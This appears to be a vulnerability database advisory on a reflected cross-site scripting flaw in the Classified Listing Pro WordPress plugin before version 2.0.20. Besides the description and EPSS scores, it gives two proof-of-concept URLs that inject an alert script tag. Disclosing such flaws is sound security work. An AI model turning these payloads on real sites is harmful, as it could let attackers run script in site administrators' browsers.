Classified Listing Pro < 2.0.20 - Reflected Cross-Site Scripting

2022-08-2200:00:00

Geovanni Campos

145

classified listing pro

reflected cross-site scripting

exploit

website security

EPSS

0.001

Percentile

40.2%

The plugin does not escape a generated URL before outputting it back in an attribute in an admin page, leading to a Reflected Cross-Site Scripting

https://example.com/all-ads/?"><script>alert(/XSS/)</script>
https://example.com/all-properties/?"><script>alert(/XSS/)</script>

EPSS

0.001

Percentile

40.2%

Related for WPEX-ID:ACC9675A-56F6-411A-9594-07144C2AAD1B